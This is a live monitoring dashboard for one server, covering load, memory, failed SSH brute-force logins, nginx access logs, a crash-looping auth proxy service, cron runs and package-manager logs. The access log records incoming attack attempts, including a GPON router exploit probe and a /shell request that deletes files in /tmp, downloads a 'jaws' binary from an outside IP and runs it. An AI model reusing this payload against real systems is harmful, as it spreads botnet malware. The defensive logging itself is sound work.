Server Activity Dashboard

srv1675884.hstgr.cloud · live snapshot of recent server activity
Updated 2026-06-04T08:00:35.754856+00:00
Window starts 2026-06-03T20:00:35.754823+00:00
Uptime
up 2 weeks, 4 days, 22 hours, 47 minutes
Load
1.28 1.34 1.35
Memory
1.5Gi used / 3.8Gi total
Disk /
21G used / 49G total (43% used)
Kernel
6.12.0-124.52.3.el10_1.x86_64
Failed SSH logins
166

Security

SSH activity
Failed logins: 166
Top IPs
  • 31.97.220.84 · 103 hits
  • 47.243.20.81 · 8 hits
  • 14.103.91.55 · 7 hits
  • 202.51.214.99 · 5 hits
  • 103.61.122.229 · 4 hits
Recent auth events
  • Jun 4 05:25:06 srv1675884 sshd-session[1025316]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.97.220.84 user=root
  • Jun 4 05:25:08 srv1675884 sshd-session[1025316]: Failed password for root from 31.97.220.84 port 39282 ssh2
  • Jun 4 05:25:18 srv1675884 sshd-session[1025326]: Invalid user vagrant from 31.97.220.84 port 41858
  • Jun 4 05:25:18 srv1675884 sshd-session[1025326]: pam_unix(sshd:auth): check pass; user unknown
  • Jun 4 05:25:18 srv1675884 sshd-session[1025326]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.97.220.84
  • Jun 4 05:25:20 srv1675884 sshd-session[1025326]: Failed password for invalid user vagrant from 31.97.220.84 port 41858 ssh2
  • Jun 4 05:25:32 srv1675884 sshd-session[1025336]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.97.220.84 user=root
  • Jun 4 05:25:34 srv1675884 sshd-session[1025336]: Failed password for root from 31.97.220.84 port 42058 ssh2

Web

HTTP status mix
200: 87301: 21400: 14401: 48404: 5405: 2499: 14
Top IPs
  • 2a02:4780:12:3899::1 · 94 hits
  • 77.37.47.24 · 8 hits
  • 91.134.35.95 · 8 hits
  • 34.116.211.135 · 4 hits
  • 34.118.109.105 · 4 hits
Recent access highlights
  • 77.37.47.24 - - [04/Jun/2026:06:41:51 +0000] "HEAD / HTTP/1.1" 200 0 "-" "curl/8.12.1" "-"
  • 77.37.47.24 - - [04/Jun/2026:06:42:25 +0000] "HEAD / HTTP/1.1" 200 0 "-" "curl/8.12.1" "-"
  • 77.37.47.24 - - [04/Jun/2026:06:44:22 +0000] "HEAD / HTTP/1.1" 200 0 "-" "curl/8.12.1" "-"
  • 182.10.98.99 - - [04/Jun/2026:07:09:53 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 157 "-" "terrabot-owned-you" "-"
  • 182.10.98.99 - - [04/Jun/2026:07:09:53 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 157 "-" "terrabot-owned-you" "-"
  • 161.35.224.143 - - [04/Jun/2026:07:18:57 +0000] "GET / HTTP/1.1" 401 581 "https://www.google.com/search?q=india24by7" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" "-"
  • 36.65.226.126 - - [04/Jun/2026:07:42:52 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; HTTP/1.1" 400 157 "-" "-" "-"
  • 36.65.226.126 - - [04/Jun/2026:07:42:52 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; HTTP/1.1" 400 157 "-" "-" "-"

System

Recent service / journal activity
  • Jun 4 08:00:27 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 08:00:27 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 4 08:00:30 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 116069.
  • Jun 4 08:00:30 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 4 08:00:31 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 08:00:31 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 4 08:00:34 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 116070.
  • Jun 4 08:00:34 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 4 08:00:35 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 08:00:35 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.

Maintenance

Cron
  • Jun 4 06:01:01 srv1675884 CROND[1026648]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 4 06:01:01 srv1675884 run-parts[1026651]: (/etc/cron.hourly) starting 0anacron
  • Jun 4 06:01:01 srv1675884 run-parts[1026657]: (/etc/cron.hourly) finished 0anacron
  • Jun 4 06:01:01 srv1675884 CROND[1026647]: (root) CMDEND (run-parts /etc/cron.hourly)
  • Jun 4 07:01:01 srv1675884 CROND[1030057]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 4 07:01:01 srv1675884 run-parts[1030060]: (/etc/cron.hourly) starting 0anacron
  • Jun 4 07:01:01 srv1675884 run-parts[1030066]: (/etc/cron.hourly) finished 0anacron
  • Jun 4 07:01:01 srv1675884 CROND[1030056]: (root) CMDEND (run-parts /etc/cron.hourly)
Package manager
  • 2026-06-04T03:56:48+0000 DEBUG extras: using metadata from Wed 03 Jun 2026 02:13:40 PM UTC.
  • 2026-06-04T03:56:50+0000 DEBUG reviving: failed for 'epel', mismatched sha256 sum.
  • 2026-06-04T03:57:07+0000 DEBUG epel: using metadata from Wed 03 Jun 2026 12:47:32 AM UTC.
  • 2026-06-04T03:57:14+0000 INFO Metadata cache created.
  • 2026-06-04T05:14:45+0000 INFO --- logging initialized ---
  • 2026-06-04T05:14:46+0000 INFO Metadata cache refreshed recently.
  • 2026-06-04T06:19:39+0000 INFO --- logging initialized ---
  • 2026-06-04T06:19:41+0000 INFO Metadata cache refreshed recently.

Highlights

Data sources: /var/log/cron, /var/log/secure, /var/log/messages, /var/log/nginx/access.log, /var/log/dnf.log.